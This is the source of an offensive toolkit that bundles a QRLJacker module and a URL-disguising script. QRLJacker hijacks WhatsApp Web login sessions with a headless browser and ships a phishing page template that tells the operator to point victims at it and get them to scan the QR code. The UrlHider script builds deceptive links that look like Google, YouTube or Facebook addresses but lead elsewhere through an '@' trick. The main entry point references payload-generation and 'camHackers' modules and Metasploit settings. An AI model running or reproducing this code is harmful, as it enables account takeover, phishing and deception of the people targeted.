blue - red - white - magenta - cyan - reset 6 | G, Y, B, R, W, M, C, end, Bold, underline = '\033[32m', '\033[93m', '\033[94m', '\033[31m', '\x1b[37m', '\x1b[35m', '\x1b[36m', '\033[0m', "\033[1m", "\033[4m" 7 | 8 | def status(text): 9 | print( end+C+"[+] "+end+G+text+end ) 10 | 11 | def error(text): 12 | print( end+M+"[!] "+end+R+text+end ) 13 | 14 | def warning(text): 15 | print( end+B+"[W] "+end+Y+text+end ) 16 | 17 | def goodbye(): 18 | #print(G+" Thanks for playing with "+B+"QrlJacker-Framework! "+R+"<3"+end) 19 | #Never say goodbye :V 20 | exit(0) 21 | -------------------------------------------------------------------------------- /core/QRLJacker/core/db.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.7 2 | # Written by: Karim shoair - D4Vinci ( QrlJacker-Framework ) 3 | import os,importlib 4 | from . import utils 5 | 6 | def index_modules(): 7 | # Return list of all modules 8 | modules = [] 9 | for path,_, files in os.walk( os.path.join("core","modules") ): 10 | for name in [f for f in files if f.endswith(".py")]: 11 | modules.append( os.path.join(path, name) ) 12 | modules = [x for x in modules if ("__" not in x and "Data"+os.sep not in x and x.endswith('.py'))] 13 | modules = utils.my_map( (lambda x:x.replace(".py","").replace("\\","/")),modules) 14 | modules = utils.my_map(lambda x:x.replace(os.path.join("core","modules",""),""),modules) 15 | return modules 16 | 17 | def grab(module): 18 | # Return info from module 19 | module = importlib.import_module(utils.pythonize( "/".join(["core","modules",module]))) 20 | return getattr(module, 'info') 21 | -------------------------------------------------------------------------------- /core/QRLJacker/core/module.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.7 2 | # -*- coding: utf-8 -*- 3 | # Written by: Karim shoair - D4Vinci ( QrlJacker-Framework ) 4 | from core import utils,Settings,Cli,db,browser 5 | from core.color import * 6 | from core.module_utils import * 7 | import importlib,traceback,os 8 | global global_options, module_keywords, cli_keywords 9 | module_help = end+G+""" 10 | 11 | Module commands 12 | =============== 13 | Command Description 14 | ---------- -------------- 15 | list/show List modules you can use. 16 | options Displays options for the current module. 17 | set Sets a context-specific variable to a value. 18 | run Launch the current module. 19 | use Use an available module. 20 | info Get information about an available module. 21 | search Search for a module by a specific text in its name or in its description. 22 | previous Sets the previously loaded module as the current module. 23 | back Move back from the current context. 24 | """+end 25 | 26 | global_options = {} 27 | modules = db.index_modules() 28 | module_keywords = ["options","set","run","back","close"] 29 | def Exec(all_keywords): 30 | global global_options, module_keywords, cli_keywords 31 | module_keywords += all_keywords 32 | cli_keywords = all_keywords 33 | mod = importlib.import_module(utils.pythonize("core.modules."+Settings.running_module)) 34 | if Settings.development: 35 | mod = utils.reload(mod) 36 | global_options = getattr(mod, 'execution').module_type.options 37 | if os.name !="nt": 38 | utils.Input_completer(module_keywords+modules) 39 | Settings.add_module(Settings.running_module) 40 | 41 | def handle(c): 42 | if c=="" or c[0]=="#":return 43 | c = c.strip() 44 | head = c.lower().split(" ")[0] 45 | args = " ".join(c.split(" ")[1:]) 46 | try: 47 | # Yeah, we don't have switch case in python... 48 | if not Cli.general_commands(head, args, module_help): 49 | if head in ["database","debug","dev","verbose","reload","refresh","list","show","resource","os","use","exec", 50 | "search","info","previous","sessions","jobs","eval","report"]: 51 | exec("Cli.command_{}(args)".format(head)) 52 | Settings.update_history(c) 53 | else: 54 | handler = globals()["command_{}".format(head)] 55 | handler(args) 56 | Settings.update_history(c) 57 | except Exception as e: 58 | if Settings.debug: 59 | print("Exception -> "+str(e)) 60 | print(" Input -> "+str(c)) 61 | print("Trackback -> ") 62 | traceback.print_exc() 63 | error( head + " is not recognized as an internal command !") 64 | #To check for the wanted command on typos 65 | wanted = utils.grab_wanted(head,module_keywords) 66 | if len(wanted)>0: 67 | status( "Maybe you meant : " + wanted ) 68 | status( "Type help or ? to learn more..") 69 | 70 | def command_options(text=False): 71 | try: 72 | options = global_options 73 | headers = [B+Bold+"Name","Current value","Required","Description"+end] 74 | names = list( options.keys() ) 75 | values = utils.my_map(lambda x:str(options[x][2]),names) 76 | required = utils.my_map(lambda x:["No","Yes"][options[x][0]],names) 77 | description = utils.my_map(lambda x:options[x][1],names) 78 | cols = [] 79 | for row in range(len(names)): 80 | cols.append([ names[row], values[row], required[row], description[row] ]) 81 | utils.create_table(headers,cols) 82 | 83 | except Exception as e: 84 | if Settings.debug: 85 | error("Error in finding options! ") 86 | print("Exception -> "+str(e) ) 87 | print(" Module -> "+str(m) ) 88 | print("Trackback -> ") 89 | traceback.print_exc() 90 | else: 91 | error("Unknown error! enable debug mode to more details") 92 | 93 | def is_option(option): 94 | try: 95 | blah = global_options[option.lower()][2] 96 | return [blah] 97 | except: 98 | return False 99 | 100 | def change_value(option,new_value): 101 | global_options[option.lower()][2] = new_value 102 | 103 | def command_set(opt=False): 104 | if not opt: 105 | error("You must type an option first !") 106 | elif len( opt.split(" ") ) < 2 and not "=" in opt: 107 | error("You must type a new value to the option !") 108 | else: 109 | split_char = " " 110 | if "=" in opt:split_char = "=" 111 | splitted = opt.split(split_char) 112 | x = is_option(splitted[0].lower()) 113 | if type(x) is list: 114 | if type(x[0]) is bool: 115 | change_value(splitted[0],x[0]==False) 116 | status( splitted[0] + " => " + str(x[0]==False) ) 117 | else: 118 | change_value( splitted[0], " ".join(splitted[1:]) ) 119 | status( splitted[0] + " => " + " ".join(splitted[1:]) ) 120 | else: 121 | error("Invalid option!") 122 | 123 | def command_run(text=False): 124 | # Options format : {"name":[ (0,1,2),description,value]} 125 | # Required --> 1 # Means that it must have value 126 | # Not required --> 0 # Means that it could have value or not 127 | for key in global_options.keys(): 128 | if global_options[key][0]==1 and not global_options[key][2].strip(): # A required option but has empty value 129 | error("Error! the following option have not been set ("+ key + ")" ) 130 | return 131 | module = importlib.import_module(utils.pythonize("core.modules."+Settings.running_module)) 132 | if Settings.development: module = utils.reload(module) 133 | exec_info = getattr(module, "execution") 134 | if not Settings.headless_browser: 135 | Settings.headless_browser = browser.headless_browsers() 136 | current_browser = {"Status":"LOL"} 137 | Settings.headless_browser.new_session(exec_info.name, exec_info.url, global_options["useragent"][2]) 138 | else: 139 | current_browser = Settings.headless_browser.new_session(exec_info.name, exec_info.url, global_options["useragent"][2]) 140 | 141 | if current_browser["Status"]=="Duplicate": 142 | error("Module already running!") 143 | elif current_browser["Status"]=="Failed": 144 | error("Couldn't open Firefox! Check the installation instructions again!") 145 | elif current_browser["Status"]=="Invalid useragent": 146 | error("Can't use this useragent! See the possible useragent values in the wiki!") 147 | else: 148 | # RUN https://youtu.be/PTZ4L6cNNC4 149 | #current_browser = current_browser["Controller"] 150 | if exec_info.module_type == types.grabber: 151 | if Settings.development: 152 | status("Grabber module detected!") 153 | Settings.headless_browser.website_qr(exec_info.name, exec_info.image_xpath) # Keeps QR image always updated and it runs in a thread too 154 | Settings.headless_browser.create_listener(exec_info.name, exec_info.change_identifier, exec_info.session_type) 155 | if exec_info.img_reload_button: 156 | Settings.headless_browser.check_img(exec_info.name, exec_info.img_reload_button) # This line will run in a thread too 157 | Settings.headless_browser.serve_module(exec_info.name, global_options["host"][2], int(global_options["port"][2])) 158 | 159 | # TODO 160 | elif exec_info.module_type == types.post: 161 | if Settings.development: 162 | status("Post module detected!") 163 | 164 | def command_close(text=False): # Another hidden command to use in debugging :D 165 | if Settings.headless_browser: 166 | Settings.headless_browser.close_all() 167 | Settings.headless_browser = None 168 | 169 | def command_back(text=False): 170 | Settings.update_previous() 171 | Settings.running_module = False 172 | Settings.reset_name() 173 | if os.name!="nt": 174 | utils.Input_completer(cli_keywords+modules ) 175 | -------------------------------------------------------------------------------- /core/QRLJacker/core/module_utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.7 2 | import os, random, socketserver, http.server, _thread as thread 3 | from jinja2 import Environment, PackageLoader, FileSystemLoader 4 | from binascii import a2b_base64 5 | from PIL import Image 6 | from . import Settings 7 | 8 | class server: 9 | def __init__(self, template_name="phishing_page.html", *args, **kwargs): 10 | self.templates_dir = os.path.join(Settings.path,"core","templates") 11 | env = Environment(loader=FileSystemLoader(searchpath=self.templates_dir)) 12 | template = env.get_template(template_name) 13 | self.html = template.render(*args,**kwargs) 14 | self.name = kwargs["name"] 15 | self.port = kwargs["port"] 16 | 17 | def start_serving(self,host="0.0.0.0"): 18 | serve_dir = os.path.join(Settings.path,"core","www",self.name) 19 | f = open( os.path.join(serve_dir,"index.html"),"w") 20 | f.write(self.html) 21 | f.close() 22 | class ReusableTCPServer(socketserver.TCPServer): 23 | allow_reuse_address = True 24 | logging = False 25 | class MyHandler(http.server.SimpleHTTPRequestHandler): 26 | def __init__(self, *args, **kwargs): 27 | super().__init__(*args, directory=serve_dir, **kwargs) 28 | def log_message(self, format, *args): 29 | if self.server.logging: 30 | http.server.SimpleHTTPRequestHandler.log_message(self, format, *args) 31 | 32 | self.httpd = ReusableTCPServer( (host, self.port), MyHandler) 33 | t = thread.start_new_thread(self.httpd.serve_forever, ()) 34 | 35 | def stop_web_server(self): 36 | self.httpd.socket.close() 37 | 38 | class misc: 39 | def Screenshot( browser, img_xpath, name): # PicName, location, size): 40 | # Take a screenshot to the page then cut the QR image 41 | img_path = os.path.join(Settings.path, "core", "www", name, "full.png") 42 | imgObject = browser.find_elements_by_xpath(img_xpath)[0] # Getting the image element 43 | browser.save_screenshot(img_path) # Taking screenshot to the whole page 44 | img = Image.open(img_path) 45 | left,top = imgObject.location['x'],imgObject.location['y'] # Getting the image exact location (1) 46 | right = left + imgObject.size['width'] # (2) 47 | bottom = top + imgObject.size['height'] # (3) 48 | box = (int(left), int(top), int(right), int(bottom)) # Defines crop points 49 | final = img.crop(box) # Croping the specific part we need to crop 50 | final.load() 51 | final.save(img_path.replace("full","tmp")) # Overwritting the full screenshot image with the cropped one 52 | 53 | def base64_to_image( base64_data): 54 | # Becomes useful if the targeted website is loading the image from a base64 string 55 | return a2b_base64( base64_data.replace("data:image/png;base64,","") ) 56 | 57 | def gen_random(): 58 | # Generate a random number to use in file naming 59 | return str( random.randint(1,100)+random.randint(1,1000) ) 60 | 61 | # Options format: [Required or not, option_description, default_value] 62 | # Required --> 1 # Means that it must have value 63 | # Not required --> 0 # Means that it could have value or not 64 | class types: 65 | class grabber: 66 | options = { 67 | "port":[1,"The local port to listen on.",80], 68 | "host":[1,"The local host to listen on.","0.0.0.0"], 69 | "useragent":[1,"Make useragent is the (default) one, a (random) generated useragent or a specifed useragent","(default)"] 70 | } 71 | 72 | class post: 73 | options = { 74 | "session_id":[1,"Session id to run the module on",""] 75 | } 76 | -------------------------------------------------------------------------------- /core/QRLJacker/core/modules/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Erik172/Z0172CK-Tools/a9c031d1ce37c3713b4b535fdc15d2d33d974cb8/core/QRLJacker/core/modules/__init__.py -------------------------------------------------------------------------------- /core/QRLJacker/core/modules/grabber/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Erik172/Z0172CK-Tools/a9c031d1ce37c3713b4b535fdc15d2d33d974cb8/core/QRLJacker/core/modules/grabber/__init__.py -------------------------------------------------------------------------------- /core/QRLJacker/core/modules/grabber/whatsapp.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Written by: Karim shoair - D4Vinci ( QrlJacker-Framework ) 3 | from core.module_utils import types 4 | 5 | class info: 6 | author = "Karim Shoair (D4Vinci)" 7 | short_description = "Whatsapp QR-sessions grabber and controller" 8 | full_description = None 9 | 10 | class execution: 11 | module_type = types.grabber 12 | name = "whatsapp" 13 | url = "https://web.whatsapp.com" 14 | image_xpath = '/html/body/div[1]/div/div/div[2]/div[1]/div/div[2]' 15 | #"/html/body/div[1]/div/div/div[2]/div[1]/div[2]" 16 | img_reload_button = '/html/body/div[1]/div/div/div[2]/div[1]/div/div[2]/div/span/div' 17 | #'/html/body/div[1]/div/div/div[2]/div[1]/div[2]/div/span/div' 18 | change_identifier = '/html/body/div[1]/div/div/div[2]/div[1]/div/div[3]/label/input' 19 | #"/html/body/div[1]/div/div/div[2]/div[1]/div[3]/label/input" 20 | session_type = "localStorage" 21 | -------------------------------------------------------------------------------- /core/QRLJacker/core/modules/post/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Erik172/Z0172CK-Tools/a9c031d1ce37c3713b4b535fdc15d2d33d974cb8/core/QRLJacker/core/modules/post/__init__.py -------------------------------------------------------------------------------- /core/QRLJacker/core/sessions.json: -------------------------------------------------------------------------------- 1 | { 2 | "0": { 3 | "name": "whatsapp", 4 | "web_url": "https://web.whatsapp.com", 5 | "session_type": "localStorage", 6 | "useragent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", 7 | "session_path": "sessions/Sun-Aug-16-22:35:21-2020.session" 8 | } 9 | } -------------------------------------------------------------------------------- /core/QRLJacker/core/templates/phishing_page.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | {{name}} 4 | 5 | 6 | 10 |

QRLJacker: {{name}}

11 | Now you have a local webserver hosting your QRLJacking payload, Here's some instructions to be done: 12 |
1. This is your always updated {{name}} QR Code 13 | Scan me! 14 |
2. Edit phishing_page.html file by adding your phishing page source code, style, resources, etc.. (located inside framework in path core/templates/phishing_page.html) 15 |
3. Point your victim to your phishing
URL, Convince to scan the QR code and Bob is your uncle! 16 |
17 | 18 | 19 | -------------------------------------------------------------------------------- /core/QRLJacker/core/utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.7 2 | #Written by: Karim shoair - D4Vinci ( QrlJacker-Framework ) 3 | import sys, os, time, random, importlib, readline, atexit 4 | from .color import * 5 | from terminaltables import AsciiTable as table 6 | from urllib.request import urlopen 7 | 8 | def banner(m): 9 | #Choose a random banner and prints it 10 | os.system("clear") 11 | #m = db.index_modules() 12 | banners = open(os.path.join("core","Data","banners.txt")).read().split("$$$$$AnyShIt$$$$$$") 13 | banner = random.choice(banners) 14 | v = open(os.path.join("core","Data","version.txt")).read().strip() 15 | grabbers = len([ i for i in m if "grabber" in i]) 16 | post = len([ i for i in m if "post" in i]) 17 | banner_to_print = Bold+G + banner.format(Name=f"{end+R}QrlJacker-Framework {end+B}By {Bold}@D4Vinci -{M} V{v+end+Bold+G}", 18 | Description=f"{end+C}Attack vector By Mohamed Abdelbasset Elnouby {end+Bold+B}(@SymbianSyMoh){end+Bold+G}", 19 | Loaded=f"{end+B}Loaded {end+R}{grabbers}{end+B} grabber(s), {end+R}{post}{end+B} post module(s).{G+Bold}") + end 20 | print(banner_to_print) 21 | return 22 | 23 | def getinput(): 24 | # Return the suitable input type according to python version 25 | ver = sys.version[0] 26 | if ver=="3": 27 | return input 28 | else: 29 | return raw_input 30 | 31 | def reload(module): 32 | # Reload an imported module and return the imported of course 33 | return importlib.reload(module) 34 | 35 | def create_table(headers,rows): 36 | # Prints a table with the given parameters 37 | #print(table([["Header1","Header2"],["Row"]],"name").table) 38 | Main = [] 39 | Main.append(headers) 40 | for row in rows:Main.append(row) 41 | t = table(Main) 42 | t.inner_column_border = False 43 | t.outer_border = False 44 | t.inner_heading_row_border = False 45 | t.inner_footing_row_border = False 46 | print("\n"+t.table) 47 | 48 | def pythonize(path): 49 | # Normal path to python importable path 50 | return path.lower().replace('/', '.').replace("\\","") 51 | 52 | def humanize(path): 53 | # Python importable path to normal path 54 | return path.lower().replace('.', '/') 55 | 56 | def grab_wanted(cmd,keywords): 57 | #To check for the wanted command on typos 58 | wanted = "" 59 | for i in reversed(range(1,5)): # Danger! Magic,don't touch :"D 60 | oo = [s for s in keywords if (s[:i]==cmd[:i] and s not in wanted) ] 61 | if len(oo)>1: 62 | wanted += ", ".join(oo) 63 | elif len(oo)==1: 64 | wanted += ", "+oo[0] 65 | return wanted 66 | 67 | def check_version(): 68 | #check for core version online 69 | u = "https://raw.githubusercontent.com/OWASP/QRLJacking/master/QRLJacker/core/Data/version.txt" 70 | try: 71 | res = urlopen(u).read().decode('utf-8').strip() 72 | return res 73 | except: 74 | return None 75 | 76 | def my_map(func,values): 77 | # Because map behaves differently in python 2 and 3, I decided to write my own fuckin version :3 78 | result = [] 79 | for value in values: 80 | result.append( func(value) ) 81 | return result 82 | 83 | """ 84 | def slow_print(text): 85 | for s in text: 86 | if sys.version_info[0]==2: 87 | sys.stdout.write(s) 88 | else: 89 | print(s, end='') 90 | time.sleep(0.1) 91 | """ 92 | # TODO: make autocomplete fix typos (Done) 93 | # TODO: make autocomplete with parts like whatsapp replaced with grabber/whatsapp (DONE) 94 | # Say hi to my own autocomplete implementation :) 95 | class MyCompleter(object): 96 | def __init__(self, options): 97 | self.options = sorted(options) 98 | self.module_options = sorted(["host","port","useragent"]) 99 | def complete(self, text, state): 100 | if state == 0: 101 | if text: 102 | text = text.lower() 103 | line = readline.get_line_buffer() # This one gets the whole line typed 104 | if line.startswith("use") or line.startswith("info"): # This works if the word isn't use/info command but use/info command is typed before so we only return modules 105 | self.matches = [m for m in self.options if "/" in m and m.startswith(text)] 106 | if len(self.matches)==0: # This returns modules that have any word of the current written ones 107 | self.matches = [m for m in self.options if "/" in m and text in m] 108 | 109 | elif line.startswith("set") and "set" in self.options: # This returns options for set command but only when it's available :D 110 | self.matches = [m for m in self.module_options if m.startswith(text)] 111 | if len(self.matches)==0: # This returns all options if no thing is written after the set command 112 | self.matches = self.module_options 113 | else: 114 | self.matches = [s for s in self.options if s.startswith(text) and not "/" in s] 115 | if len(self.matches)==0: 116 | possible_matches = [s for s in self.options if not "/" in s] 117 | wanted = [] 118 | for i in reversed(range(1,5)): # Fixing typos to return matches if there's no matches :D 119 | wanted.extend( [ s for s in possible_matches if (s[:i]==text[:i] and s not in wanted) ]) 120 | if len(wanted)>0: 121 | self.matches = sorted(wanted) 122 | break 123 | self.matches = sorted(wanted) 124 | else: 125 | line = readline.get_line_buffer() 126 | if line.startswith("use "): # This works if there's no word typed but use command was typed before 127 | self.matches = [m for m in self.options if "/" in m] 128 | elif line.startswith("set") and "set" in self.options: 129 | self.matches = self.module_options 130 | else: 131 | self.matches = [m for m in self.options if not "/" in m ] 132 | try: 133 | return self.matches[state] 134 | except IndexError: 135 | return None 136 | 137 | history_file = os.path.join(".autocomplete_history") 138 | def save_history(history_file=history_file): # So you can use the up key to access the previous session commands 139 | readline.write_history_file(history_file) 140 | 141 | def Input_completer(keywords): 142 | completer = MyCompleter(keywords) 143 | readline.set_completer(completer.complete) 144 | if "libedit" in readline.__doc__: 145 | readline.parse_and_bind("bind ^I rl_complete") 146 | else: 147 | readline.parse_and_bind('tab: complete') 148 | #readline.parse_and_bind('"\\e[A": complete') # Up arrow 149 | readline.parse_and_bind("set colored-completion-prefix on") 150 | readline.parse_and_bind("set show-all-if-unmodified on") 151 | readline.parse_and_bind("set horizontal-scroll-mode on") 152 | if os.path.exists(history_file): 153 | readline.read_history_file(history_file) 154 | readline.set_history_length(20) 155 | readline.set_completer_delims(' ') 156 | atexit.register(save_history) 157 | -------------------------------------------------------------------------------- /core/QRLJacker/core/www/whatsapp/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | whatsapp 4 | 5 | 6 | 10 |

QRLJacker: whatsapp

11 | Now you have a local webserver hosting your QRLJacking payload, Here's some instructions to be done: 12 |
1. This is your always updated whatsapp QR Code 13 | Scan me! 14 |
2. Edit phishing_page.html file by adding your phishing page source code, style, resources, etc.. (located inside framework in path core/templates/phishing_page.html) 15 |
3. Point your victim to your phishing URL, Convince to scan the QR code and Bob is your uncle! 16 |
17 | 18 | -------------------------------------------------------------------------------- /core/QRLJacker/sessions/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | */ 3 | !.gitignore 4 | -------------------------------------------------------------------------------- /core/UrlHider.py: -------------------------------------------------------------------------------- 1 | # /usr/bin/python3 2 | # Created By Erik 3 | from colorama import Fore, init 4 | import pyshorteners 5 | import os, sys, time, random, json 6 | 7 | colors = [Fore.LIGHTBLUE_EX, Fore.LIGHTGREEN_EX, Fore.LIGHTRED_EX] 8 | color = random.choice(colors) 9 | 10 | def main(): 11 | Banner() 12 | print("") 13 | print("[{}01{}] Google".format(color, Fore.LIGHTWHITE_EX)) 14 | print("[{}02{}] Youtube".format(color, Fore.LIGHTWHITE_EX)) 15 | print("[{}03{}] Spotify".format(color, Fore.LIGHTWHITE_EX)) 16 | print("[{}04{}] Instagram".format(color, Fore.LIGHTWHITE_EX)) 17 | print("[{}05{}] Facebook".format(color, Fore.LIGHTWHITE_EX)) 18 | print("[{}06{}] New York Times".format(color, Fore.LIGHTWHITE_EX)) 19 | print("[{}07{}] Personalized".format(color, Fore.LIGHTWHITE_EX)) 20 | print("") 21 | print("[{}99{}] Back".format(color, Fore.LIGHTWHITE_EX)) 22 | print("") 23 | 24 | option = input(str(" Z0172CK ({}UrlHiden{}) > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 25 | 26 | if option == '01' or option == '1': 27 | UrlGoogle() 28 | 29 | elif option == '02' or option == '2': 30 | UrlYoutube() 31 | 32 | elif option == '03' or option == '3': 33 | UrlSpotify() 34 | 35 | elif option == '04' or option == '4': 36 | UrlInstagram() 37 | 38 | elif option == '05' or option == '5': 39 | UrlFacebook() 40 | 41 | elif option == '06' or option == '6': 42 | UrlNewyorkTimes() 43 | 44 | elif option == '07' or option == '7': 45 | UrlPersonalized() 46 | 47 | elif option == '99': 48 | sys.exit() 49 | 50 | else: 51 | print("[!] Option not avalible") 52 | main() 53 | 54 | def UrlGoogle(): 55 | print("") 56 | OriginalLink = str(input("Z0172CK ({}UrlHiden/Google{}) Original URL > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 57 | 58 | print("") 59 | Postlink = str(input("Z0172CK ({}UrlHiden/Google{}) Post LINK > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 60 | 61 | Shortener = pyshorteners.Shortener() 62 | EndLink = Shortener.tinyurl.short(OriginalLink) 63 | Withouthttp = EndLink[7:] 64 | 65 | print("\n\n") 66 | print("Your link is: {}https://www.google.com-{}@{}{}".format(Fore.LIGHTRED_EX, Postlink, Withouthttp, Fore.LIGHTWHITE_EX)) 67 | time.sleep(2) 68 | print("\n") 69 | def UrlYoutube(): 70 | print("") 71 | OriginalLink = str(input("Z0172CK ({}UrlHiden/Youtube{}) Original URL > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 72 | 73 | Postlink = str(input("Z0172CK ({}UrlHiden/Youtube{}) Post LINK > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 74 | 75 | Shortener = pyshorteners.Shortener() 76 | EndLink = Shortener.tinyurl.short(OriginalLink) 77 | Withouthttp = EndLink[7:] 78 | 79 | print("\n\n") 80 | print("Your link is: {}https://www.youtube.com-video-{}@{}{}".format(Fore.LIGHTRED_EX, Postlink, Withouthttp, Fore.LIGHTWHITE_EX)) 81 | time.sleep(2) 82 | print("\n") 83 | 84 | def UrlSpotify(): 85 | print("") 86 | OriginalLink = str(input("Z0172CK ({}UrlHiden/Spotify{}) Original URL > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 87 | 88 | Postlink = str(input("Z0172CK ({}UrlHiden/Spotify{}) Post LINK > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 89 | 90 | Shortener = pyshorteners.Shortener() 91 | EndLink = Shortener.tinyurl.short(OriginalLink) 92 | Withouthttp = EndLink[7:] 93 | 94 | print("\n\n") 95 | print("Your link is: {}https://www.spotify.com-video-{}@{}{}".format(Fore.LIGHTRED_EX, Postlink, Withouthttp, Fore.LIGHTWHITE_EX)) 96 | time.sleep(2) 97 | print("\n") 98 | 99 | def UrlInstagram(): 100 | print("") 101 | OriginalLink = str(input("Z0172CK ({}UrlHiden/Instagram{}) Original URL > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 102 | 103 | Postlink = str(input("Z0172CK ({}UrlHiden/Instagram{}) Post LINK > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 104 | 105 | Shortener = pyshorteners.Shortener() 106 | EndLink = Shortener.tinyurl.short(OriginalLink) 107 | Withouthttp = EndLink[7:] 108 | 109 | print("\n\n") 110 | print("Your link is: {}https://www.instagram.com-photo-{}@{}{}".format(Fore.LIGHTRED_EX, Postlink, Withouthttp, Fore.LIGHTWHITE_EX)) 111 | time.sleep(2) 112 | print("\n") 113 | 114 | def UrlFacebook(): 115 | print("") 116 | OriginalLink = str(input("Z0172CK ({}UrlHiden/Facebook{}) Original URL > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 117 | 118 | Postlink = str(input("Z0172CK ({}UrlHiden/FaceBook{}) Post LINK > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 119 | 120 | Shortener = pyshorteners.Shortener() 121 | EndLink = Shortener.tinyurl.short(OriginalLink) 122 | Withouthttp = EndLink[7:] 123 | print("\n\n") 124 | print("Your link is: {}https://www.facebook.com-profile-{}@{}{}".format(Fore.LIGHTRED_EX, Postlink, Withouthttp, Fore.LIGHTWHITE_EX)) 125 | time.sleep(2) 126 | print("") 127 | 128 | def UrlNewyorkTimes(): 129 | print("") 130 | OriginalLink = str(input("Z0172CK ({}UrlHiden/NewyorkTime{}) Original URL > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 131 | 132 | Postlink = str(input("Z0172CK ({}UrlHiden/NewyorkTimes{}) Post LINK > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 133 | 134 | Shortener = pyshorteners.Shortener() 135 | EndLink = Shortener.tinyurl.short(OriginalLink) 136 | Withouthttp = EndLink[7:] 137 | 138 | print("\n\n") 139 | print("Your link is: {}https://www.newyorktimes.com-{}@{}{}".format(Fore.LIGHTRED_EX, Postlink, Withouthttp, Fore.LIGHTWHITE_EX)) 140 | time.sleep(2) 141 | print("") 142 | 143 | 144 | def UrlPersonalized(): 145 | print("") 146 | Domain = str(input("Z0172CK ({}UrlHiden/Personalized{}) Domain > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 147 | OriginalLink = str(input("Z0172CK ({}UrlHiden/Personalized{}) Original URL > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 148 | 149 | 150 | Postlink = str(input("Z0172CK ({}UrlHiden/Personalized{}) Post LINK > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 151 | 152 | Shortener = pyshorteners.Shortener() 153 | EndLink = Shortener.tinyurl.short(OriginalLink) 154 | Withouthttp = EndLink[7:] 155 | 156 | print("\n\n") 157 | print("link is: {}https://www.{}-{}@{}{}".format(Fore.LIGHTRED_EX ,Domain, Postlink, Withouthttp, Fore.LIGHTWHITE_EX)) 158 | time.sleep(2) 159 | print("\n") 160 | 161 | def Banner(): 162 | print('''{} 163 | █ ██ ██▀███ ██▓ ██░ ██ ██▓▓█████▄ ▓█████ ███▄ █ 164 | ██ ▓██▒▓██ ▒ ██▒▓██▒ ▓██░ ██▒▓██▒▒██▀ ██▌▓█ ▀ ██ ▀█ █ 165 | ▓██ ▒██░▓██ ░▄█ ▒▒██░ ▒██▀▀██░▒██▒░██ █▌▒███ ▓██ ▀█ ██▒ 166 | ▓▓█ ░██░▒██▀▀█▄ ▒██░ ░▓█ ░██ ░██░░▓█▄ ▌▒▓█ ▄ ▓██▒ ▐▌██▒ 167 | ▒▒█████▓ ░██▓ ▒██▒░██████▒ ░▓█▒░██▓░██░░▒████▓ ░▒████▒▒██░ ▓██░ 168 | ░▒▓▒ ▒ ▒ ░ ▒▓ ░▒▓░░ ▒░▓ ░ ▒ ░░▒░▒░▓ ▒▒▓ ▒ ░░ ▒░ ░░ ▒░ ▒ ▒ 169 | ░░▒░ ░ ░ ░▒ ░ ▒░░ ░ ▒ ░ ▒ ░▒░ ░ ▒ ░ ░ ▒ ▒ ░ ░ ░░ ░░ ░ ▒░ 170 | ░░░ ░ ░ ░░ ░ ░ ░ ░ ░░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ 171 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 172 | ░ 173 | By Erik172 @erik172_ 174 | 175 | {}'''.format(color, Fore.LIGHTWHITE_EX)) 176 | 177 | -------------------------------------------------------------------------------- /docs/CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # # Contributing to Z0172CK Tools 2 | :+1::tada: First off, thanks for taking the time to contribute! :tada::+1: 3 | 4 | Hello, If you want to collaborate in the project with pleasure you can do it, just keep in mind the following things :blush: 5 | 6 | 1. Follow the [code of conduct](https://github.com/Erik172/Z0172CK-Tools/blob/master/CODE_OF_CONDUCT.md) 7 | 2. If you are going to write or modify code, make it legible and easy to understand 8 | 3. you can contribute in any branch 9 | 4. The development branch is for project testing (beta). 10 | 11 | Ready now You can help us make this project to a better :+1::tada: 12 | -------------------------------------------------------------------------------- /index.py: -------------------------------------------------------------------------------- 1 | from colorama import Fore, init 2 | import core.PayloadGenerate as PayloadGenerate 3 | import core.camHackers as camHackers 4 | import core.UrlHider as UrlHider 5 | import banners 6 | import subprocess 7 | import ipinfo 8 | import shodan 9 | import random 10 | import time 11 | import json 12 | import sys 13 | import os 14 | 15 | init() 16 | 17 | colors = [Fore.LIGHTBLUE_EX, Fore.LIGHTCYAN_EX, Fore.LIGHTGREEN_EX, Fore.LIGHTMAGENTA_EX, Fore.LIGHTRED_EX] 18 | color = random.choice(colors) 19 | 20 | ProgramName = 'Z0172CK' 21 | Version = 'V1.2' 22 | 23 | PrintBanners = True 24 | 25 | #Variable de Metasploit 26 | Port = '444' 27 | Host = '192.168.0.4' 28 | 29 | #Variables de Shodan 30 | vulns = 